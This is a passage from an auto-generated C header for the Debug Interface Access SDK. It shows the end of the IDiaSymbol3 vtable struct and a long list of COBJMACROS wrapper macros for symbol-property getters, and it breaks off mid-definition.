**ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol3 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol3 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol3 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol3 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol3 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol3 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol3 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); END_INTERFACE } IDiaSymbol3Vtbl; interface IDiaSymbol3 { CONST_VTBL struct IDiaSymbol3Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol3_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol3_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol3_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol3_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol3_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol3_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol3_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol3_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol3_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol3_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol3_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol3_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol3_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol3_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol3_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol3_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol3_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol3_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol3_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol3_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol3_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol3_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol3_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol3_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol3_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol3_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol3_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol3_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol3_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol3_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol3_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol3_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol3_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol3_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol3_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol3_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol3_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol3_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol3_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol3_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol3_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol3_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol3_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol3_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol3_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol3_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol3_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol3_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol3_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol3_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol3_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol3_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol3_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol3_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol3_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol3_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol3_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol3_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol3_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol3_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol3_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol3_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol3_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol3_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol3_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol3_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol3_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol3_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol3_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol3_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol3_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol3_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol3_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol3_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol3_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol3_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol3_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol3_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol3_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol3_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol3_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol3_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol3_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol3_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol3_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol3_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol3_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol3_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol3_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol3_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol3_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol3_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol3_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol3_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol3_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol3_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol3_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol3_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol3_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol3_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol3_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol3_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol3_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol3_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol3_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol3_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol3_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol3_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol3_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol3_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol3_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol3_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol3_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol3_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol3_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol3_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol3_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol3_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol3_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol3_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol3_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol3_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol3_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol3_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol3_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol3_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol3_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol3_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol3_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol3_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol3_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol3_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol3_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol3_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol3_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol3_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol3_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol3_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol3_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol3_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol3_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol3_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol3_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol3_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol3_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol3_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol3_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol3_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol3_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol3_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol3_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol3_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol3_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol3_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol3_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol3_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol3_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol3_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol3_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol3_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol3_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol3_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol3_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol3_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol3_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol3_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol3_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol3_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol3_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol3_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol3_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol3_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol3_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol3_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol3_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol3_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol3_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol3_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol3_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol3_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol3_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol3_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> 